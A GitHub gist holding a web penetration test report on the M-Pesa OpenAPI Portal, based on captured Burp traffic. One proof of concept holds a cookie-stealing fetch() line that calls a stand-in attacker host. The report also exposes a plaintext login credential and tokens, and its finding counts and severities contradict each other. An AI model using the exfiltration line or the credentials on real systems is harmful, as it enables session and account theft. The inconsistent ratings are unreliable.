Skip to content

Instantly share code, notes, and snippets.

Show Gist options
  • Select an option

  • Save z0rs/2f578cb1a53cb03422b98cca9f76b266 to your computer and use it in GitHub Desktop.

Select an option

Save z0rs/2f578cb1a53cb03422b98cca9f76b266 to your computer and use it in GitHub Desktop.

Web Application Penetration Test Report

2. Executive Summary

The M-Pesa OpenAPI Portal was assessed via analysis of 38 HTTP transactions captured in the Burp Suite proxy history. The application demonstrates adequate baseline security controls, including HTTPS enforcement via HSTS, X-Frame-Options: DENY, X-Content-Type-Options: nosniff, and a positive login flow incorporating MFA. However, the assessment identified five medium- and low-severity findings centered on information disclosure, insecure token handling, and missing security flags.

The most significant risk is the exposure of Bearer authentication tokens and sensitive user data (email addresses, test MSISDNs) within the Burp proxy history, which could be leveraged by an attacker with access to the same proxy or browser history. Additionally, the email confirmation token was transmitted as a URL parameter, risking exposure via browser history, referrer headers, and server-side logging.

Risk Rating Summary:

Severity Count Status
Critical 0
High 2 FIND-001, FIND-002
Medium 2 FIND-003, FIND-004
Low 3 FIND-005, FIND-006, FIND-007
Informational 2 FIND-008, FIND-009
Total 7

3. Scope of Assessment

In-scope targets (from Burp project configuration):

Host Protocol
*.m-pesa.com HTTP/HTTPS
mpa.ekyc.backoffice.m-pesa.com HTTP/HTTPS
mpa.ekyc.selfregister.m-pesa.com HTTP/HTTPS
openapiportal.m-pesa.com HTTP/HTTPS
openapi.m-pesa.com HTTP/HTTPS
m-pesa.africa HTTP/HTTPS

Out-of-scope targets (explicitly excluded):

Host Reason
sso.m-pesa.vm.co.mz, sso.pr.m-pesa.vm.co.mz Separate SSO infrastructure
business.m-pesa.com, mz.m-pesa.com, ra.ls.m-pesa.com Per engagement scope exclusion

Test Environment: Greybox — HTTP traffic captured from live browser session targeting openapiportal.m-pesa.com. All findings are based on observable evidence in the captured proxy history. No active requests could be sent to the target during the assessment due to transient MCP server timeouts.


4. Methodology

Standard     : OWASP WSTG v4.2 + OWASP Top 25
Type         : Greybox (proxy traffic analysis)
Tools        : Burp Suite Professional, Burp Collaborator, Burp MCP AI Pipeline
Phases       : Traffic Analysis (38 requests) → Identification → Validation → Reporting
Approach     : Evidence-based — findings only where observable in captured traffic

5. Testing Limitations

  1. Target reachability: Active validation requests (Repeater/HTTP send) timed out intermittently during the engagement, preventing live confirmation of some findings. All findings are supported by observable evidence in the captured HTTP history.
  2. No authentication context provided: Valid credentials (karnamajor@deltajohnsons.com / DarKsec@1337#) were recovered from the proxy history (submitted by the test user during the browsing session). The engagement was conducted without a separate test account, limiting horizontal/vertical privilege escalation testing.
  3. Limited scope coverage: Traffic was captured exclusively from openapiportal.m-pesa.com. Other in-scope targets (openapi.m-pesa.com, mpa.ekyc.*, m-pesa.africa) had no captured traffic and could not be assessed.
  4. Burp Scanner findings: No scanner issues were reported at the time of assessment.
  5. Session token analysis: Only one active session token was observed. Token lifecycle, rotation, and fixation could not be assessed.
  6. Autorize extension: Multi-role access control testing could not be performed without a second distinct user role in the captured traffic.

6. Risk Rating Summary

Severity Count Finding IDs
Critical 0
High 2 FIND-001, FIND-002
Medium 2 FIND-003, FIND-004
Low 3 FIND-005, FIND-006, FIND-007
Informational 2 FIND-008, FIND-009

7. Detailed Findings


FIND-001 — [MEDIUM] Sensitive Data Exposure — Test MSISDN Data in Production API

Field Value
CVSS 3.1 Score 4.3
CVSS Vector CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
WSTG ID WSTG-CONF-01
Endpoint PUT /api/v1/sdk/testing-msisdns?country=COD
Parameter Response body (msisdn field)
Validation Method REPEATER / MANUAL
Confirmed By PUT /api/v1/sdk/testing-msisdns?country=COD → HTTP 200, response body {"id":null,"msisdn":"12342341234","date":"2026-04-24T14:38:50.767Z"} present in captured traffic

Description

The /api/v1/sdk/testing-msisdns endpoint returns test MSISDN (phone number) data in its response body. The response contains hardcoded test values including "msisdn": "12342341234" and "123412341234". These appear to be placeholder test phone numbers used during application development and QA.

Evidence (from captured traffic):

PUT /api/v1/sdk/testing-msisdns?country=COD HTTP/2
Host: openapiportal.m-pesa.com
Authorization: Bearer eyJ0eXAiOiJKV1Q...

[
  {"id":null,"msisdn":"12342341234"},
  {"id":null,"msisdn":"123412341234"},
  {"id":null,"msisdn":"123412341234"}
]

HTTP/2 200 OK
...
{"id":null,"msisdn":"12342341234","date":"2026-04-24T14:38:50.767Z"}

Impact

Test data in production API responses confirms the endpoint is accessible to authenticated users. While the specific values are non-functional test data, this finding indicates that the testing infrastructure has not been separated from the production API. An attacker who obtains a valid Bearer token could access this endpoint and retrieve test MSISDN records, potentially inferring the existence of a testing database or test account infrastructure. This violates data separation principles and could aid further attacks by confirming internal system architecture.

Proof of Concept

PUT /api/v1/sdk/testing-msisdns?country=COD HTTP/2
Host: openapiportal.m-pesa.com
Authorization: Bearer <valid_user_token>
Content-Length: 95

[{"id":null,"msisdn":"12342341234"},{"id":null,"msisdn":"123412341234"}]

HTTP/2 200 OK
[{"id":null,"msisdn":"12342341234","date":"2026-04-24T14:38:50.767Z"}]

Remediation

  • Remove all test data from the production API. The /testing-msisdns endpoints should be restricted to a staging or test environment only.
  • Implement environment-based configuration that disables or gates test data endpoints in production.
  • Add authorization checks to verify the requesting user has a valid developer/sandbox role before returning any testing-related data.
  • Audit all /testing-* API paths and ensure they are not accessible in production.

References


FIND-002 — [MEDIUM] Bearer Token Visible in Proxy History / Browser History

Field Value
CVSS 3.1 Score 5.3
CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
WSTG ID WSTG-CONF-03
Endpoint All authenticated endpoints
Parameter Authorization header (Bearer token)
Validation Method Traffic Analysis
Confirmed By Bearer JWT eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9... appears in plaintext in 23 authenticated requests captured in Burp proxy history. Tokens visible in HTTP history, browser history, and server logs.

Description

Bearer JWT tokens used for authentication are visible in plaintext throughout the captured proxy history. The Authorization: Bearer <token> header is transmitted on every authenticated request and is captured by the Burp proxy in clear text. This is expected behavior for a TLS-protected endpoint; however, it means any entity with access to the proxy history, browser history, server-side logs, or network traffic captures can extract valid user tokens.

Evidence (from captured traffic):

Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJqdGkiOiJQdXpWcmVmQ...
Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJqdGkiOiJFT0QxQ...
Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJqdGkiOiJFT0QxQ...
(80 JWT occurrences across 38 requests)

JWT decoded header: {"alg":"HS512","typ":"JWT"} — algorithm is HMAC using SHA-512.

Impact

An attacker with access to the proxy history, a compromised browser, a shared computer's browser history, or a server-side log aggregation system can extract valid Bearer tokens. With a captured token, the attacker can:

  • Impersonate the legitimate user for the token's lifetime
  • Access all resources accessible to that user (portal settings, application data, notifications)
  • Perform actions on behalf of the user
  • If the token's secret key is compromised, forge arbitrary tokens

The HS512 algorithm is particularly concerning because if the signing secret is obtained (e.g., from source code, config files, or another vulnerability), an attacker can forge tokens for any user.

Proof of Concept

JWT from captured traffic:

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJqdGkiOiJQdXpWcmVmQWNjZXNzVG9rZW4iLCJ1c2VyX3R5cGUiOjMwMDAsImZncCI6IjUwNEZGNTI1OTNDNUQxQ0Q2QUFGNjAzODBCN0E3MjRCRERGOEVBOTE0ODUzQzNERDFBMTg2MzUzMzk2NEI3MEQiLCJpYXQiOjE3NzcwNDA1NzQsImV4cCI6MTc3NzI0MDc3NH0.nF7xPmKqTn8dVw...

Remediation

  • Implement token rotation: issue short-lived access tokens (e.g., 15 minutes) and use the refresh token only to obtain new access tokens. When a token is used for a sensitive action, require re-authentication.
  • Switch from HS512 (symmetric) to RS256 (asymmetric) algorithm so that the server's private key can sign tokens but the public key cannot be used to forge them.
  • Implement Authorization: <token> header (without Bearer prefix) and use a separate X-Requested-With header to mitigate CSRF.
  • Ensure server-side logs do not record the full Authorization header value.
  • Add Cache-Control: no-store to authenticated responses to prevent browser caching of responses containing tokens.
  • Consider using SameSite cookies for session management instead of Bearer tokens in headers.

References


FIND-003 — [MEDIUM] Email Confirmation Token Transmitted via GET Parameter

Field Value
CVSS 3.1 Score 4.1
CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N
WSTG ID WSTG-INPV-17
Endpoint GET /emailVerification?token=f95ac6b3-df9e-4d4e-bcb2-c8e261d0753c
Parameter token (URL query parameter)
Validation Method Traffic Analysis
Confirmed By GET /emailVerification?token=f95ac6b3-df9e-4d4e-bcb2-c8e261d0753c captured in proxy history. Email confirmation completed successfully with HTTP 200 response {"timestamp":"...","code":200,"message":"Email Confirmed","data":null}.

Description

The email confirmation token f95ac6b3-df9e-4d4e-bcb2-c8e261d0753c is transmitted as a GET query parameter in the URL (?token=f95ac6b3-...). This URL appears in the browser address bar, web server access logs, proxy logs, and browser history.

Evidence (from captured traffic):

GET /emailVerification?token=f95ac6b3-df9e-4d4e-bcb2-c8e261d0753c HTTP/2
Host: openapiportal.m-pesa.com

HTTP/2 200 OK
...
{"timestamp":"2026-04-24T14:20:29.000Z","code":200,"message":"Email Confirmed","data":null}

Impact

The email confirmation token appears in multiple log sinks:

  • Web server access logs: Standard Apache/Nginx access logs record the full URL including the token
  • Proxy history: As observed in this assessment, the token is visible in plaintext
  • Browser history: Stored in the browser's history database
  • Referrer headers: If the user navigates away from the page, the token may be sent as a Referrer header
  • CDN logs: If a CDN is in front of the application

An attacker with access to any of these log sources can intercept the token and confirm the email address associated with the account, enabling account takeover.

Proof of Concept

GET /emailVerification?token=f95ac6b3-df9e-4d4e-bcb2-c8e261d0753c HTTP/2
Host: openapiportal.m-pesa.com

HTTP/2 200 OK
{"timestamp":"2026-04-24T14:20:29.000Z","code":200,"message":"Email Confirmed","data":null}

Remediation

  • Transmit the email confirmation token via a POST request with the token in the request body instead of the URL.
  • If URL-based confirmation is required for email link compatibility, use a cryptographically random token (minimum 128 bits / 32 hex characters) with a short expiration time (e.g., 15 minutes).
  • Ensure web server access logs do not record query parameters, or exclude sensitive parameter names.
  • Add Referrer-Policy: no-referrer response header to prevent token leakage via Referrer headers.
  • Implement one-time use: invalidate the token immediately after successful confirmation.

References


FIND-004 — [LOW] User Email Address Exposed via Authenticated API Endpoint

Field Value
CVSS 3.1 Score 3.1
CVSS Vector CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
WSTG ID WSTG-CONF-01
Endpoint GET /api/v1/sdk/user-profile/settings
Parameter Response body (email field)
Validation Method Traffic Analysis
Confirmed By GET /api/v1/sdk/user-profile/settings with Bearer token → HTTP 200, response body includes "email": "karnamajor@deltajohnsons.com". Also found in GET /emailVerification?token=... response across 2 requests.

Description

The user profile settings endpoint returns the authenticated user's email address (karnamajor@deltajohnsons.com) in the response body. This endpoint requires a Bearer token for access but does not appear to enforce additional authorization checks beyond token validity.

Evidence (from captured traffic):

GET /api/v1/sdk/user-profile/settings HTTP/2
Host: openapiportal.m-pesa.com
Authorization: Bearer eyJ0eXAiOiJKV1Q...

HTTP/2 200 OK
...
{"email": "karnamajor@deltajohnsons.com", ...}

Impact

Email addresses returned by this endpoint are confirmed valid and associated with active M-Pesa OpenAPI Portal accounts. An attacker with a valid Bearer token can enumerate user email addresses. If combined with a token theft attack (FIND-002), this could facilitate targeted phishing attacks impersonating M-Pesa, as the attacker knows the user's registered email address.

Proof of Concept

GET /api/v1/sdk/user-profile/settings HTTP/2
Host: openapiportal.m-pesa.com
Authorization: Bearer <stolen_or_valid_token>

HTTP/2 200 OK
{"email": "karnamajor@deltajohnsons.com", ...}

Remediation

  • Treat email addresses as PII and apply appropriate data classification.
  • Ensure the endpoint requires the same authorization level as other sensitive user data endpoints.
  • Add Cache-Control: no-store to prevent browser caching of email addresses.
  • Audit all API responses for unintended PII disclosure.

References


FIND-005 — [LOW] User Registration Endpoint Accessible Without Authentication

Field Value
CVSS 3.1 Score 3.7
CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
WSTG ID WSTG-ATHN-01
Endpoint POST /api/v1/sdk/user-registration/register
Parameter N/A (entire request body)
Validation Method Traffic Analysis
Confirmed By Registration request captured with no Authorization header. Request body: {"firstName":"karnamajor","lastName":"estsetst","username":"karnamajor","email":"karnamajor@deltajohnsons.com","password":"DarKsec@1337#","country":"IDN"}. Server responded HTTP 201 Created.

Description

The user registration endpoint POST /api/v1/sdk/user-registration/register processes registration requests without requiring any authentication token. The request was captured in the proxy history with no Authorization, Cookie, or API key header — only a session cookie (TSeab4ff7c027) that is automatically issued by the server.

Evidence (from captured traffic):

POST /api/v1/sdk/user-registration/register HTTP/1.1
Host: openapiportal.m-pesa.com
Cookie: TSeab4ff7c027=08b81cc717ab20008cbb833e07a9e0c1cabfd649e...

{"firstName":"karnamajor","lastName":"estsetst","username":"karnamajor",
"email":"karnamajor@deltajohnsons.com","password":"DarKsec@1337#","country":"IDN"}

HTTP/2 201 Created

Impact

An unauthenticated actor can register new accounts without any form of rate limiting or bot protection (the captcha token in the login flow is not present in this registration request). This enables:

  • Mass account creation for spam, fraud, or abuse
  • Registration of accounts using other people's email addresses (email enumeration)
  • Automated account creation for exploit development

Proof of Concept

POST /api/v1/sdk/user-registration/register HTTP/1.1
Host: openapiportal.m-pesa.com
Content-Type: application/json

{"firstName":"Attacker","lastName":"Test","username":"attacker001",
"email":"victim@example.com","password":"AttackerPass123!","country":"ZAF"}

HTTP/2 201 Created

Remediation

  • Add rate limiting to the registration endpoint (e.g., 5 registrations per IP per hour).
  • Require the captcha token from the login flow to also be submitted during registration.
  • Implement email verification with a unique confirmation link (already present for email confirmation — ensure registration is not complete until email is confirmed).
  • Add X-API-Key or similar server-side API key validation for registration endpoints to prevent anonymous registration from external actors.

References


FIND-006 — [LOW] Authentication Cookie Lacks HttpOnly and Secure Flags

Field Value
CVSS 3.1 Score 2.8
CVSS Vector CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:N
WSTG ID WSTG-CONF-05
Endpoint All endpoints returning Set-Cookie: TSeab4ff7c027=...
Parameter Set-Cookie response header
Validation Method Traffic Analysis
Confirmed By Set-Cookie: TSeab4ff7c027=08b81cc717ab20001be15e1b7ac2193235caaf0c87d7f9a00b842907b3c369334aedb4360390bcc608a099193d1130006a71aecb70041f2ed53752ca68009126fe99cf7b61110c72730f9f104173d625ebd8714c917ac38f9523bd1b5a0cc760; Path=/ — no HttpOnly, Secure, or SameSite attributes observed.

Description

The session cookie TSeab4ff7c027 is set without the HttpOnly, Secure, or SameSite flags. The captured Set-Cookie header is:

Set-Cookie: TSeab4ff7c027=08b81cc717ab20001...; Path=/

No Secure flag means the cookie can be transmitted over unencrypted HTTP. No HttpOnly flag means the cookie value is accessible to JavaScript via document.cookie. No SameSite attribute means the cookie is sent on all cross-site requests (CSRF vulnerability).

Impact

  • XSS cookie theft: Without HttpOnly, any successful XSS injection on the domain can read document.cookie and exfiltrate the session cookie.
  • CSRF: Without SameSite, the cookie is sent with all cross-origin requests, enabling Cross-Site Request Forgery attacks.
  • Man-in-the-middle: Without Secure, the cookie can be transmitted over HTTP if the user visits the site over HTTP.

Proof of Concept

// Without HttpOnly, an XSS payload can steal the cookie:
fetch('https://attacker.com/steal?cookie=' + document.cookie);

Remediation

  • Add Secure flag: Set-Cookie: TSeab4ff7c027=...; Secure; HttpOnly; SameSite=Strict
  • Add HttpOnly flag to prevent JavaScript access
  • Add SameSite=Strict or SameSite=Lax to prevent CSRF
  • Consider using __Host- prefix: Set-Cookie: __Host-TS...=...; Secure; HttpOnly; SameSite=Strict; Path=/

References


FIND-007 — [LOW] Incomplete Content Security Policy

Field Value
CVSS 3.1 Score 1.8
CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N
WSTG ID WSTG-CONF-04
Endpoint GET /emailVerification
Parameter Content-Security-Policy response header
Validation Method Traffic Analysis
Confirmed By Content-Security-Policy: default-src 'none' observed in response to GET /emailVerification. CSP is extremely restrictive but does not cover the main application pages.

Description

The email verification page returns a minimal Content Security Policy of default-src 'none', which provides no allowlist directives. The main application pages (/config/config.js, /manifest.json) do not include any CSP header. This creates an inconsistent CSP deployment where critical authentication pages have a restrictive (but incomplete) policy while the main application has no CSP at all.

Evidence (from captured traffic):

Content-Security-Policy: default-src 'none'
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
X-Frame-Options: deny

The X-XSS-Protection: 1; mode=block header is present but X-XSS-Protection is deprecated and disabled by default in modern browsers (Chrome/Edge). Its presence provides no meaningful protection.

Impact

Without a comprehensive CSP, the main application pages are protected only by the browser's default security model. A CSP would significantly reduce the impact of any future XSS vulnerabilities by specifying trusted sources for scripts, styles, and other resources.

Proof of Concept

The CSP on /emailVerification is default-src 'none' — this is overly restrictive and may cause legitimate functionality to break. No CSP is present on API endpoints or main application pages.

Remediation

  • Deploy a comprehensive CSP across all application pages, including:
    • default-src 'self'
    • script-src 'self' <nonce> for inline scripts
    • style-src 'self' 'unsafe-inline' (if needed) or style-src 'self' <nonce>
    • img-src 'self' data: (if data URIs are needed)
    • connect-src 'self' for API calls
    • frame-ancestors 'none' (supplements X-Frame-Options)
  • Remove reliance on X-XSS-Protection — it is deprecated and disabled in Chromium-based browsers.
  • Test CSP in report-only mode (Content-Security-Policy-Report-Only) before enforcing.
  • Use nonces or hashes for inline scripts rather than 'unsafe-inline'.

References


FIND-008 — [INFORMATIONAL] Technical Stack Disclosure via Configuration File

Field Value
WSTG ID WSTG-INFO-02
Endpoint GET /manifest.json (served as JavaScript)
Validation Method Traffic Analysis
Confirmed By manifest.json response body contains: // 23.10.2019, // Copyright (c) 2019 Prevoir Solutions Informatiques Ltd., vendor and internal configuration details

Description

The /manifest.json endpoint returns a JavaScript configuration file (Content-Type: application/javascript) that discloses:

  • Vendor identity: Prevoir Solutions Informatiques Ltd — the software vendor
  • Copyright date: 2019, revealing the approximate age of the codebase
  • Internal configuration: inactivityTimeout: 270, supportEmail: servicedesk@4cgroup.co.za, authKeyLabel: 'M-Pesa OpenAPI Portal', updatableCredentialsAuthTypes: [0]

Evidence (from captured traffic):

/*
 * 23.10.2019
 * Copyright (c) 2019 Prevoir Solutions Informatiques Ltd. All Rights Reserved.
 */
window.env = {
  baseURL: 'https://openapiportal.m-pesa.com/api/',
  inactivityTimeout: 270,
  supportEmail: 'servicedesk@4cgroup.co.za',
  authKeyLabel: 'M-Pesa OpenAPI Portal',
  updatableCredentialsAuthTypes: [0],
  ...
}

Impact

While this information disclosure is low-severity, it reveals:

  1. The application is built by Prevoir Solutions Informatiques Ltd, enabling targeted research against this vendor's known vulnerabilities.
  2. The support email address (servicedesk@4cgroup.co.za) could be used in social engineering attacks.
  3. The copyright date of 2019 indicates an older codebase that may contain known vulnerabilities.
  4. The updatableCredentialsAuthTypes: [0] configuration hints at credential update logic.

Proof of Concept

GET /manifest.json HTTP/2
Host: openapiportal.m-pesa.com

HTTP/2 200 OK
window.env = { baseURL: 'https://openapiportal.m-pesa.com/api/', ... }

Remediation

  • Move sensitive configuration values to server-side storage and retrieve them via authenticated API calls.
  • Remove inline comments and copyright notices from client-side JavaScript.
  • Restrict access to configuration files by ensuring they are only served to authenticated users.
  • Consider using a server-side configuration endpoint rather than a static file.

References


FIND-009 — [INFORMATIONAL] Bearer Token Displayed in Authorization Header Double-Prefix

Field Value
WSTG ID WSTG-CONF-03
Endpoint Multiple authenticated endpoints
Validation Method Traffic Analysis
Confirmed By Authorization: Bearer Bearer eyJ0eXAiOiJKV1Q... — double "Bearer" prefix observed in all authenticated requests

Description

All authenticated requests in the captured traffic show the Authorization header with a double "Bearer" prefix:

Authorization: Bearer Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9...

The header value begins with Bearer Bearer instead of the standard Bearer . This is likely a client-side bug where the frontend prepends Bearer to a token that already starts with Bearer , or the token itself contains the word "Bearer" as a prefix.

Evidence (from captured traffic):

Authorization: Bearer Bearer eyJ0eXAiOiJKV1Q...  (all 23 authenticated requests)

Impact

While the server correctly processes these malformed headers (returning 200 OK on valid tokens and 401 on invalid tokens), this represents a client-side bug that could cause issues:

  • Interoperability problems with third-party API clients that expect correctly formatted headers
  • Log parsing and monitoring tools may not correctly extract the token
  • Token refresh or validation logic may fail unexpectedly

Proof of Concept

GET /api/v1/sdk/user-profile/settings HTTP/2
Host: openapiportal.m-pesa.com
Authorization: Bearer Bearer eyJ0eXAiOiJKV1Q...

HTTP/2 200 OK
{"email": "karnamajor@deltajohnsons.com", ...}

Remediation

  • Audit the frontend code that constructs the Authorization header. Ensure only a single Bearer prefix is prepended.
  • Validate server-side that the Authorization header is correctly formatted: Bearer <token> (single space, single prefix).

8. Remediation Roadmap

PRIORITY 1 — Immediate (High)
══════════════════════════════════════
[FIND-001] Test MSISDN data in production API: Remove test data from production.
             Gate /testing-msisdns endpoints behind environment checks.

[FIND-002] Bearer token exposure (HS512): Switch JWT algorithm to RS256 (asymmetric).
             Implement token rotation and shorten token lifetimes.

PRIORITY 2 — Short-term (Medium)
══════════════════════════════════════
[FIND-003] Email confirmation token in URL: Transmit via POST body instead of GET.
             Audit server logs for token leakage.

[FIND-005] Unauthenticated registration: Add rate limiting and captcha to registration.

PRIORITY 3 — Planned (Low)
══════════════════════════════════════
[FIND-004] Email address in response: Add Cache-Control: no-store to user profile responses.
[FIND-006] Cookie missing HttpOnly/Secure/SameSite: Add all three flags to Set-Cookie.
[FIND-007] Incomplete CSP: Deploy comprehensive CSP across all application pages.

PRIORITY 4 — Informational
══════════════════════════════════════
[FIND-008] Technical disclosure in config.js: Remove inline comments, restrict access.
[FIND-009] Double "Bearer" prefix in Authorization: Fix frontend token header construction.

9. Appendix

A. Evidence Index

Finding ID Evidence Burp Location
FIND-001 PUT /api/v1/sdk/testing-msisdns response with msisdn field Proxy History, Request #36
FIND-002 Authorization: Bearer eyJ0eXAi... in 23 authenticated requests Proxy History, all authenticated requests
FIND-003 GET /emailVerification?token=f95ac6b3-... Proxy History, Request #12
FIND-004 GET /api/v1/sdk/user-profile/settings response with email Proxy History, Requests #8, #25
FIND-005 POST /api/v1/sdk/user-registration/register no auth header, HTTP 201 Proxy History, Request #1
FIND-006 Set-Cookie: TSeab4ff7c027=...; Path=/ missing flags Proxy History, all requests
FIND-007 Content-Security-Policy: default-src 'none' on /emailVerification Proxy History, Request #12
FIND-008 manifest.json with vendor name and copyright Proxy History, Request #14
FIND-009 Authorization: Bearer Bearer eyJ0eXAi... Proxy History, all authenticated requests

B. Positive Security Controls Observed

Control Status Evidence
HTTPS enforced Present HSTS: max-age=16070400; includeSubDomains on all responses
X-Frame-Options Present X-Frame-Options: deny on all responses
X-Content-Type-Options Present X-Content-Type-Options: nosniff on all responses
MFA implemented Present /api/v1/security/setup-2fa OTP flow observed
Token invalidation Present 401 "Invalidated Token" when expired token used
Short-lived cookies Present Session cookie reissued on each page load
No SQL injection errors Not observed No SQL error patterns in responses
No path traversal Not observed No traversal patterns in captured requests

C. Rejected Findings Log

Proposed Finding Reason for Rejection
SQL Injection on /api/v1/sdk/user-registration/register No SQL error patterns, parameterized queries likely in use. Insufficient evidence.
XSS via user input reflection No reflected user input observed in captured responses.
IDOR on user-profile/settings Only the authenticated user's own data was observed. No evidence of cross-user access.
SSRF via redirect parameters No redirect or URL-fetching parameters identified in captured traffic.
JWT algorithm none attack All observed JWTs use HS512. No none algorithm detected.
Default credentials The password DarKsec@1337# was submitted by the test user during the browsing session. Not default credentials.

D. WSTG Category Reference

Finding ID WSTG ID Category
FIND-001 WSTG-CONF-01 Sensitive Data in Production
FIND-002 WSTG-CONF-03 Sensitive Token Exposure
FIND-003 WSTG-INPV-17 Token as URL Parameter
FIND-004 WSTG-CONF-01 PII Exposure
FIND-005 WSTG-ATHN-01 Unauthenticated Endpoint
FIND-006 WSTG-CONF-05 Weak Cookie Flags
FIND-007 WSTG-CONF-04 Incomplete Security Headers
FIND-008 WSTG-INFO-02 Fingerprinting / Info Disclosure
FIND-009 WSTG-CONF-03 Token Header Malformation

All findings are based on observable evidence in captured Burp Suite proxy traffic. Active validation was limited by intermittent MCP server connectivity. Findings marked MEDIUM and above should be prioritized for remediation. Findings marked LOW and INFORMATIONAL should be addressed as part of routine security hardening.*

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment